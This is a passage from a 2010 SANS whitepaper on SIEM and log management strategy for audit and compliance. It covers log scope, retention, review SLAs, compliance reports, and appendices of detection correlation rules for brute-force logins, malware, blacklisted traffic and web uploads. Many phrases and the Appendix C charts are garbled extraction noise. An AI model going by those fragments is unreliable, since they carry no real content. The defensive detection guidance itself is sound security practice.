David Swift , dgswift@verizon.net !3. Log Management Strategy A successful security program that passes the scrutiny of audit and compliance will need to provide for the following: 1) Centrally log all relevant events. a) Events may be filtered, aggregated, and/or normalized1 b) Only events from devices in scope need to be collected. 2) Define and document the scope of coverage. a) Document which assets are LQVFRSHIRUHDFKFRPSOLDQFHUHJXODWLRQ\RX¶UHRUJDQL]DWLRQ is subject to. b) Define which networks and assets are internal and part of the protected network. c) Create a Record of Authority (ROA), document defining where logs will be stored, and the retention period for each log. (See Appendix D ± Record of Authority and Retention ) 3) Review logs in a timely fashion. a) Define and watch for Events of Interest (EOI), that could constitute a threat. b) Of the millions of events per day an organization collects, less than 1% will represent a threat. c) Define and document Service Level Agreements (SLAs), and Standard Operating Procedures (SOPs). i) Per event of interest, define the time frame for follow up. ii) Define and document a minimum process f or follow up to standardize response for each event of interest. d) Schedule regular reports for review of key events and oversight of security devices. 4) Create an audit trail for reviewed events. a) We must maintain an auditable trail to prove events of interest were followed up on and resolved. b) Document that each EOI in scope was followed up on using SOPs and in compliance with stated SLAs. ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 9 ! ! David Swift , dgswift@verizon.net !Second, the choice of log management tools is individual, and may include a centralized syslog server, or a distributed collection approach. The current market leaders in Log Management solutions are ArcSight (Logger), LogLogic, LogRythm, Syslog NG and Splunk (see Appendix H ± SIEM & Log Management Vendors). In most cases sizing t hese devices to reta in events for one year will meet most compliance regulations. You will also want to make sure the device can pull logs from databases, Windows hosts, and other systems that do not by default forward events via syslog. Consider placement carefully, as syslog is by default UDP based and does not guarantee delivery, nor encrypt the traffic. In many cases syslog can be configured to use TCP. S ecure tunnels or VPNs may also be required to ensure logging does not expose se nsitive data. Centralized logging alone is not enough. The spirit, and in some cases the specifics, of the various compliance rules require that logs be reviewed in a timely manner. In most cases this is physically impossible with limited staff, and mi llions of events per day. It is common to have 100 Million or more raw security events per day or more in a large enterprise. A common best practice is to use a correlation engine to automate threat detection and log analysis. ArcSight ESM, Q1 QRadar, RSA EnVision are top SIEM vendors providing correlation capabilities. SIEM is a significant undertaking and can be quite expensive. See Appendix H ± SIEM & Log Management Vendors for a more complete list and reference links. While SIEM WRROVFDQSURYLGHDJRRGIUDPHZRUNPDQ\ILQGWKHGHIDXOWFRQWHQWRU³XVHFDVHV´YHU\OLPLWHG or non -functional in a production environment. This is where it becomes important to define events of interest (EOI). The correlation rules to create the EOI alerts are outlined in Appendix A ± Events of Interest. The syntax for the rules varies by product, but the essential capabilities should exist in any mature SIEM. ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 10 ! ! David Swift , dgswift@verizon.net !A general principal of compliance is to have a written policy. Auditors then check to confirm that the written policy is followed. By defining and documenting our events of interest (EOI), and providing a written copy to auditors, we improve our overall compliance, and meet our UHTXLUHPHQWIRUDZULWWHQSROLF\7KHQLQVWHDGRIEHLQJKHOGWRVRPHRQHHOVH¶VLQWHUSUHWDWLRQRI the regulation, provided of course that we have a legitimate supportable set of EOI definitions, we will be measured to an agreed up on standard. A clear definition of EOI is our starting point, next we must define standard operating procedures (SOPs), and service level agreements (SLAs), that state what is done when an EOI has been detected, and in what time frame. SOPs will vary widel y based on the severity of the EOI, and the staff and tools one has to follow XSRQWKHP'UDZLQJRQWKHH[SHULHQFHRIRQH¶VEHVWDQGEULJKWHVWFDSWXUHWKHLUSURFHVVLQWRDQ SOP. Doing so then allows transference of that knowledge to the institution and aids in training new security staff. SLAs will also vary widely, and should be dependent on the severity of the EOI , and the available staff . Critical events with a high chance for contagion or corruption of data should have very narrow windows for follow up. Events with higher false positive rates that may be leading LQGLFDWRUVRIPDOZDUHRUV\VWHPPLVFRQILJXUDWLRQVKRXOGEHIROORZHGXSRQD³EHVWHIIRUWEDVLV´ ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 11 ! ! David Swift , dgswift@verizon.net !4. Reporting and Review To be in compliance, auditors require that key system access, and changes are reviewed on a UHJXODUVFKHGXOH0XFKRIWKHIRFXVLVRQ³ZKR´DQGFDQEHFRYHUHGE\WUDFNLQJUHSRUWLQJDQG reviewing periodically key reports (See Appendix B ± Common Reports ). A common and successful strategy is to track by system access both who, when, from where, and against which authentication device each user accessed a protected resource. Providing these reports as summary, including only who, and which system type was accessed to the system owners for each authentication log collected for monthly (or quarterly in less critical networks). In query terms this is a simple select where user = * and event name contains login, group by user and authentication device. Variations of the same report can be used to produce other common reports, by simply limiting the user name to the key accounts. A common use is for default accounts (root, administrator, guest). Another common use is for all administrative access (user name contains $, admin, or root). Additio nally, reports for any rights or user additions or permission modifications will need to be reviewed. These reports are similar, but are grouped by the specific event types to be monitored (where contains user deleted, or object modified, or rights assign HG« +HUHDJDLQDJRRG strategy is to provide these reports to the application owners (by authentication type), each month or quarter for review and acceptance. The signed accepted reviews should then be filed for audit purposes. Last, we need to provi de executive level review and oversight. Top 10 reports for each device feeding your log management or SIEM solution will often suffice. ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 12 ! ! David Swift , dgswift@verizon.net ! Best practice is to review each log source for variety in signature, and number of occurrences. For devices that dete ct malware, simply group by malware or name or ID, severity, and by unique source address. If the number of events is low, perhaps the device can be tuned to more effectively detect additional attacks, or the network may be in fact clean. If the number of unique sources is high, the malware signature may be a false positive. Outbreaks of malware can be spotted as the number of unique source addresses for any given signature rise. These reports can also be used for operational benefit, allowing prioritization and cleaning of systems with detected infections, and prophylactics to be applied to the broader protected network for active threats preventing spread. 5. Ticketing and Tracking For each of the identified threats in reports, or real time via E vents of Interest, based on the Service Level Agreement applicable, trouble tickets with a description of the problem and the resolution efforts will need to be kept. Key metrics and a common audit review process is to check: "# Are tickets being created (pre ferably automatically) and tracked for protected assets? $# Are tickets being closed? %# Are tickets being closed within the SLA? Mean Time to Resolution Though often not a part of compliance and audit, a key operational need is: &# Are threats being detected (pre ferably thorough automated intelligence, not after the fact end user notification)? 6SRWFKHFNVE\DXGLWRUVWKDWFDQFRQILUPDQGDUHRIWHQDOOWKDW¶VQHHGHGIURPWLFNHW systems to confirm compliance. ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 13 ! ! David Swift , dgswift@verizon.net !6. Conclusion If one follows several basic steps, and documen ting both scope and process it is possible to achieve nearly any IT audit requirement. 1. Define your Events of Interest (EOI) ± and create appropriate reports and alerts to monitor for them (See Appendix A ± Events o f Interest ) 2. Define an Incident Handling Policy (IH) and process to follow for each EOI 3. Define Service Level Agreements (SLAs), for each EOI and follow up IH process ± Standard Operating Procedures for Security Analysts (SOP) 4. Create and Maintain an Audit tr DLOVKRZLQJERWK(2,¶VDQG,+UHVSRQVHVWUDFNLQJWKH mean time to detect (MTD) and mean time to remediate (MTR) ± frequently this is done in an external ticketing system. 5. Define the Record of Authority (RoA) for each device in scope for an audit a. Document WKHVRXUFH,3¶VIRUZKLFKWKHORJPDQDJHPHQW6,(0ZLOOEHWKH5R$ b. Document the retention period, and the document destruction/deletion policy followed. (See Appendix D ± Record of Authority and Retention ) It is possible to prepare for an audit while building a stronger security program by preparing unamb iguous well documented scope, record of authority , events of interest, and incident handling policies . Provided these written policies are shared with auditors, and can be confirmed by spot checks showing both an event was logged, and that it was remediated in accordance with standard operating procedures within the define service level agreement, audits can be made quick and relatively painless. ! ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 14 ! ! David Swift , dgswift@verizon.net !7. References Kerr, Orin S, Computer Records and the Federal Rules of Evidence retrieved from October 18, 2010 from U.S. Department of Justice, http://www.justice.gov/criminal/cybercrime/usamarch200 1_4.htm NERC CIPs and Standard, Retrieved October 18, 2010 from the North American Electric Reliability Corporation http://www.nerc.com/page.php?cid=2|20 Payment Card Industry Data Security Standard v1.2.1 (2008), Retrieved October 19, 2010 from the PCI Security Standards Council https://www.pcisecuritystan dards.org/security_standards/pci_dss_download_agreement.html Sarbanes -Oxley Act of 2002 (H.R. 3763) 107th Congress (2001 -2002) Retrieved October 18, 2010 from the Library of Congress http://thomas.loc.gov/cgi -bin/bdquery/z?d107:HR03763 : The Federal Information Security Management Act of 2002 ("FISMA ", 44 U.S.C. § 3541 , et seq.), Retrieved October 18, 2010, from the National Institute of Standards and Technology http://csrc.nist.gov/drivers/documents/FISMA -final.pdf The Gramm ±Leach ±Bliley Act (GLB) , also known as the Financial Services Modernization Act of 1999 , (Pub.L. 106 -102, 113 Stat. 1338 , enacted November 12, 1999), Retrieved October 18, 2010 from the Federal Trade Commission, http://www.ftc.gov/privacy/privacyinitiatives/glbact.html The Health Insurance Portability and Accountability Act (HIPAA) of 1996 (P.L.104 -191) Retrieved Oct ober 18, 2010 from the U.S. Department of Health and Human Services http://aspe.hhs.gov/admnsimp/pl104191.htm ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 15 ! ! David Swift , dgswift@verizon.net !8. Acknowledgements General credit and thanks to Mike Poor @ SANS for the process and analytical training needed to develop specific correlation rules. Thanks to Egan Hadsell @ SANS for editorial and formatting advice and guidance. Thank you to Accuvant (my employer), for allowing me to share the includ ed content, having GHYHORSHGDQGRUUHILQHGPXFKRILW³RQWKHMRE´DWQXPHURXVFOLHQWLQVWDOODWLRQV I owe general credit to SANS courses for information and processes that have become part of my standard way of thinking, if not specifically quoted in the paper. SANS Audit 507, Auditing Networks, Perimeters and Systems, 2006 SANS Security 504, Hacker Techniques, Exploits and Incident Handling, 2009 SANS Security 503, Intrusion Detection In-Depth, 2006 ! ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 16 ! ! David Swift , dgswift@verizon.net !Appendix A ± Events of Interest Provided below is a common set of perimeter defense correlation rules. In vendor terms these are RIWHQUHIHUUHGWRDV³XVHFDVHV´7KHVHDUHPHDQWWRSURYLGHDJRRGEDVHVWDUWLQJSRLQWDQG should not be considered comprehensive for all situations. User Authentication Rules and Alerts 1. Repeat Attack-Login Source Goal: Early warning for brute force attacks, password guessing, and misconfigured applications. Trigger: Alert on 3 or more failed logins in 1 minute from a single host. Event Sources: Activ e Directory, Syslog (Unix Hosts, Switches, Routers, VPN), RADIUS, TACACS, Monitored Applications 2. Repeat Attack-Login Target Goal: Early warning for brute force attacks, password guessing, and misconfigured applications. Trigger: Alert on 3 or more fai led logins in 1 minute on a single user ID Event Sources: Active Directory, Syslog (Unix Hosts, Switches, Routers, VPN), RADIUS, TACACS, Monitored Applications Note: The actual number of events required to trigger a co rrelation will vary over time and w ill need to be tuned to each system as the frequent threats are removed, and the rules are optimized. Separate similar rules may be required for log sources with higher or lower sensitivity (i.e. one rule triggers on 5 or more failures for Windows, one ru le triggers on 3 or more failures for Unix). ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 17 ! ! David Swift , dgswift@verizon.net !Attacks Detected on the Network 3. Repeat Attack-Firewall Goal: (DUO\ZDUQLQJIRUVFDQVZRUPSURSDJDWLRQHWF« Trigger: Alert on 15 or more Firewall Drop/Reject/Deny Events from a single IP Address in one minute. Event Sources: Firewalls, Routers and Switches 4. Repeat Attack-Network Intrusion Prevention System Goal: (DUO\ZDUQLQJIRUVFDQVZRUPSURSDJDWLRQHWF« Trigger: Alert on 7 or more IDS Alerts from a single IP Address in one minute. Event Sources: Network Intrusion Detection and Prevention Devices ! ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 18 ! ! David Swift , dgswift@verizon.net !Attacks and Infections Detected at the Host Level 5. Repeat Attack-Host Intrusion Prevention System Goal: Find hosts that may be infected or compromised (exhibiting infection behaviors). Trigger: Alert on 3 or more events from a single IP Address in 10 minutes Event Sources: Host Intrusion Prevention System Alerts Virus Detection/Removal 6. Virus or Spyware Detected Goal: Alert when a virus, spyware or other malware is detected on a host. Trigger: Alert when a single host sees an identifiable piece of malware Event Sources: Anti-Virus, HIPS, Network/System Behavioral Anomaly Detectors 7. Virus or Spyware Removed Goal: Reduce alerts and warnings, if after detection, anti -virus tool s are able to remove a known piece of malware. Trigger: Alert when a single host successfully removes a piece of malware Event Sources: Anti-Virus, HIPS, Network/System Behavioral Anomaly Detectors 8. Virus or Spyware Detected but Failed to Clean Critical EOI Goal: Alert when >1 Hour has passed since malware was detected, on a source, with no corresponding virus successfully removed. Trigger: Alert when a single host fails to auto -clean malware within 1 hour of detection. ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 19 ! ! David Swift , dgswift@verizon.net !Event Sources: Anti-Virus, HIPS, Network/System Behavioral Anomaly Detectors Attacks from Unknown/Untrusted Sources The use of periodic DXWRPDWLFDOO\XSGDWHGOLVWV 5%/'6KLHOG« RINQRZQDWWDFNHUVDQG malware sources applied to these correlations is highly preferred. 9. Repeat Attack-Foreign Goal: ,GHQWLI\UHPRWHDWWDFNHUVEHIRUHWKH\PDNHLWLQWRWKHQHWZRUN,GHQWLI\³EDFNVFDWWHU´ pointing to attacks that may have not been detected by other sources. Secondary Goal: This rule also identifies new networks with active host s that have been added to the internal network, but not reported or configured within the SIEM and/or other security tools. Trigger: Alert on 10 or more failed events from a single IP Address that is not part of the known internal network. Event Sources: Firewall, NIPS, Anti -Virus, HIPS, Failed Login Events 10. Known Attacker Allowed in Network Critical EOI Goal: ,GHQWLI\DOORZHGWUDIILFIURPNQRZQ³EODFNOLVWHG´VRXUFHV,IWKHVRXUFHLVNQRZQWREHD source of malware or an attack, identify and alert if that source is every allowed into the network, ZKLOHFRQYHUVHO\ILOWHULQJRXWLJQRULQJ³GURSUHMHFWGHQ\´HYHQWVIURPWKHVHVRXUFHVZKHQRXU defenses properly block the traffic. Trigger: Alert on ANY Allowed (i.e. Firewall Accept, Allowed Login) , events from an IP Address that is not part of the known network and is known to have/use malware. Event Sources: Firewall, NIPS, Anti -Virus, HIPS, Failed Login Events ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 20 ! ! David Swift , dgswift@verizon.net !11. Traffic to Known Attacker Critical EOI Goal: Identify traffic from an i QWHUQDODGGUHVVWRNQRZQ³EODFNOLVWHG´GHVWLQDWLRQV,IWKH destination is known to be a source of malware or an attack, identify and alert if traffic is ever allowed to that destination, or if repeat attempts (>5) are detected even when the traffic is blocked. This may indicate an infected host trying to call home. Trigger: Alert on ANY Allowed (i.e. Firewall Accept, Allowed Login), event to an IP Address that is not part of the known network and is known to have/use malware. Alternate Trigger: Alert on 5 or more drops from an internal source to any known attacker, or 1 Accept/Allow. Event Sources: Firewall, NIPS, Anti -Virus, HIPS, Failed Login Events High Threats 12. High Threat Targeting Vulnerable Asset Critical EOI Goal: Identify threats in real time that are likely to compromise a host. Vulnerability data has shown the host to be vulnerable to the inbound attack being detected by NIPS. Trigger: Any event from a single IP Address targeting a host known to be vulnerable to the DWWDFNWKDW¶V inbound. Event Sources: NIPS events, Vulnerability Assessment data 13. Repeat Attack-Multiple Detection Sources Critical EOI Goal: Find hosts that may be infected or compromised detected by multiple sources (high probability of true threat). Trigger: Alert on ANY second threat type detected from a single IP Address by a second source after seeing a repeat attack. (i.e. Repeat Firewall Drop, followed by Virus Detected) Event Sources: Firewall, NIPS, Anti -Virus, HIPS, Failed Login Events ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 21 ! ! David Swift , dgswift@verizon.net ! 14. Possible Outbreak ± Excessive Connections Critical EOI Goal: Find hosts that may be infected or compromised by watching for a host to connect to a large number of destinations. Trigger: Alert when a single host connects to 100 or more unique targets in 1 minute (must apply white lists for known servers to avoid false positives, and destination port !=80). Event Sources: Firewall, NIPS, Flow Data, and Web Content Filters 15. Possible Outbreak ± Multiple Infected Hosts Detected on the Same Subnet Critical EOI Goal: Alert on the detection of malware before it spreads beyond a limited number of hosts. Trigger: Alert when 5 or more hosts on the same subnet trigger the same Malware Signature (AV or IDS) within a 1 hour interval. Event Sources: Anti-Virus, HIPS, NIPS Web Servers (IIS, Apache) 16. Suspicious Post from Untrusted Source Goal: Alert when dangerous content (executable code) is posted to a web server. Trigger: Files with executable extensions (cgi, asp, aspx, jar, php, exe, com, cmd, sh, bat), are posted to a web server (internal/dmz address), from an external source Event Sources: Internet Information Server and Apache Logs ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 22 ! ! David Swift , dgswift@verizon.net !Monitored Log Sources 17. Monitored Log Source Stopped Sending Events Goal: Alert when a monitored lo g source has not sent an event in 1 Hour (variable time based on the device). Trigger: Log collection device must create an event periodically to show how many events have been received, and that this number is >0. Event Sources: Log collection device. ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 23 ! ! David Swift , dgswift@verizon.net !Appendix B ± Common Reports These reports are produced and reviewed monthly, or on demand as needed. User Activity Reports 1. All Active User Accounts (any valid/successful login by account name in the past 30 days) 2. Active User List by Authentication type a. VPN Users b. Active Directory Users c. Infrastructure Device Access (Firewalls, Routers, Switches, IDS) To be reviewed/certified as valid by the administrator/manager for each authentication source. Unused accounts should be disabled. Any unexpected account XVDJH GHIDXOWDFFRXQWVWHUPLQDWHGHPSOR\HHV« VKRXOGEH investigated and explained. 3. User Creation, Deletion and Modification a. A list of all user accounts created, deleted or modified by authentication type, to include the date, time, and User ID that mad e the change. i. Active Directory ii. RADIUS/TACACS iii. /RFDO 8QL[:LQGRZV6HUYHU66+/6$6« 4. Access by any Default Account a. Guest, Root, Administrator, or other vendor default account usage 5. Access by any terminated employee, expired contractor, or other expired a ccount 6. $FFHVVE\3ULYLOHJHG$FFRXQWV URRWDGPLQLVWUDWRU« ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 24 ! ! David Swift , dgswift@verizon.net !a. Noting time, date, source IP, and where possible source user name that became admin i. µVX¶ORJ ii. &RUUHODWLRQRI³3ULYLOHJH(VFDODWLRQIRU8VHU;´IROORZHGE\3ULYLOHJHG Execution (Server Reboot, Log Clear, File Deletion) on windows 7. Service Account Usage a. A list of all service accounts grouped by target address This report should be reviewed by the service account user owner and validated monthly. Any unexpected use of a service account, or use on an unexpected address should be investigated and explained. Configuration Change Reports 8. Configuration Change Report a. Any configuration changes on monitored devices i. Date, Time, and User ID that made the change Access Reports 9. Access to any protected/monitored device by an untrusted network a. VPN Access to Protected Network b. Wireless Access to Protected Network c. Access by a Foreign Network to a Protected Network i. Foreign Country ii. Any Non -Internal/Company/Intranet Source Address d. Acces s to a Higher Security Network by a Lower Security Network 10. Internet Usage by Protected Device a. Any traffic from a protected device to a network other than the protected and trusted networks. ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 25 ! ! David Swift , dgswift@verizon.net !Incident Tracking 11. Current Open Ticket List a. A list of all incidents not yet closed. 12. Closed Ticket Report a. A list of all tickets closed in the past X days (from 1 -90). b. Details must include the total time the ticket was open (Time to Resolution), the root cause if found, and the person who opened and closed the ticket. 13. Time to Resolution by Ticket Type a. For each ticket type (See Attachment A ± Required Correlations), the minimum, maximum, and average time to resolution. ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 26 ! ! David Swift , dgswift@verizon.net !On Demand Operational Reports 14. User Login Tracking a. All Logins for a User ID for the past 30 days - Group by User Name and Source Address Use: Identify any Hosts a Terminated/Suspicious employee has logged on to for secondary investigation of those hosts. 15. Host Login Tracking a. All logins on a given host for the past 30 days Use: Identify who may have compromised a host that is misbehaving. 16. Malware Source Report a. A list of host addresses for any identified malware or attack ± group by malware name or attack name Use: Identify the source IP addresses of any given malware or attack for targeted removal/remediation. 17. Malware Occurrence Report a. A count of any given malware (group by IDS signature/Anti -Virus Signature/Attack Name), over the past 30 days. Use: Defense Tuning ± if <100 occurrences of a signature, block, If >100,000 blocking could disrupt the network. Log o nly mode on new signatures for 30 days, monitor, and block as appropriate. ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 27 ! ! David Swift , dgswift@verizon.net !Monthly Summary Reports These reports are produced and reviewed monthly. 1. Top Sources & Destinations a. Filtered to remove known servers. 2. Total Correlated Events/Events of Interest a. Grouped and totaled by Event of Interest/Correlation name 3. Total Events / Day / Log Source 4. Top 10 Events Per Log Source (Anti -9LUXV,'6« 5. Top 10 Failed Logins a. Grouped by Source IP (Top 10 sources of failed logins) b. Grouped by Target User Name (Top 10 accounts with failed logins) 6. Web Content Filter Summary a. Top 10 Destinations by Domain Name b. Top 10 Blocked Sources by IP Address c. Top 10 Blocked Sources grouped by Network (subnet) 7. Foreign Attacker Report a. Top 10 Source Countries involved in Attacks (FW, IDS, $9$87+« b. Top 10 Sources IPs of Foreign Attacks c. Top 10 Destinations of Foreign Attacks ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 28 ! ! David Swift , dgswift@verizon.net !Appendix C ± Sample Summary Reports *+,!-,./-01!2,3/4!4,-,!.-/567,5!8-/9!:;/?!;@ABC!D-=.+,5!>?!AE7,3C! =?5!7/92>?,5!8/-!F>16=3!.-,1,? 0=0>/?!>?!G/4,-!G/>?0# ! H"H$H%H&H'H(H)HIH!"##"$%&'$()*+)',-./0&H'H"HH"'H$HH$'H!"##"$%&'$()*+)1$2-3/&&()J""&IJ%H$$J%J$'(H$"I%H")JH"&J&J&$JHIH'HHHHH"HHHHHH"'HHHHH$HHHHHH$'HHHHH%HHHHHH%'HHHHH&HHHHHH&'HHHHH'HHHHHH4$--/#,0/5)600,37& H"HH$HH%HH"$%&'()IJ"H"""$$$$%$&$'$($)$I$J%H%"!"##"$%&89/%0&):/-);,,4 NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 29 ! ! David Swift , dgswift@verizon.net ! %"O$HO""O""O)O)O&O%O%O%OA6-/.,:=?=5=P?>0,5!Q>?D5/9L611>=?!R,5,-=0>/?:+>?=S,3=-61R-=?7,S=+-=>?@-=?C!@13=9>7!L,.623>7!/8G=?=9=*/.!"H!R/-,>D?!T00=7U,-1"HJ#)$#"&(#"'&A6-/.,"'%J%J"&"II#)$#$"%#'JS,3=-61$J))&&&J"#$"$#"%'#"I(L611>=?!R,5,-=0>/?$(JJ')(J"#$"$#"%'#"%(L611>=?!R,5,-=0>/?$$&J''HJ"#$H'#&"#$%'P?>0,5!Q>?D5/9")'II"H"J%#"H&#"$#"H$G=?=9="%)'')&(&#)"#$&(#$I:=?=5="H'(HH"J"#$H'#&"#"(&P?>0,5!Q>?D5/9"H&$&%H$&#"'%#$$#"&$:=?=5=JJ('(%"HJ#)$#"&(#"''A6-/.,J($(HH*/.!"H!;/6-7,!:/6?0->,1 T!3=-D,!?692,-!/8!0+,!=00=7U1C!=-,!0=-D,0>?D!VW;!X./-0!'%YC!=?5!9=K!+=F,!2,,?! ,E.3/>0>?D!.-,F>/61!4,=U?,11,1!?/4!.=07+,5!4>0+!Z>?5/41!$HHI!6.D-=5,1!0/!VW;! ;,-F,-1!=?5!V/9=>?!:/?0-/33,-1#B/?0+3K!;699=-K!L,./-0! ʹR/-,>D?!T00=7U,-1NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN B/?0+3K!;699=-K!L,./-0! ʹT60+,?0>7=0>/? NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN""I&&("%&')$)I&%$%)"IH"'I&'%I%$H$HHH&HHH(HHHIHHH"HHHH"$HHH"&HHH O[;\"\'\"I];^;*ABT59>?>10-=0/-_6,10%'$I"I"J"'$&H''((%&")'"""%J%''$()*+)=,"#/5)>$."%& H"H$H%H&H'H(H V=K!/8!0+,!B/?0+"$%&'()IJ"H"""$"%"&"'?)*+++++ ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 30 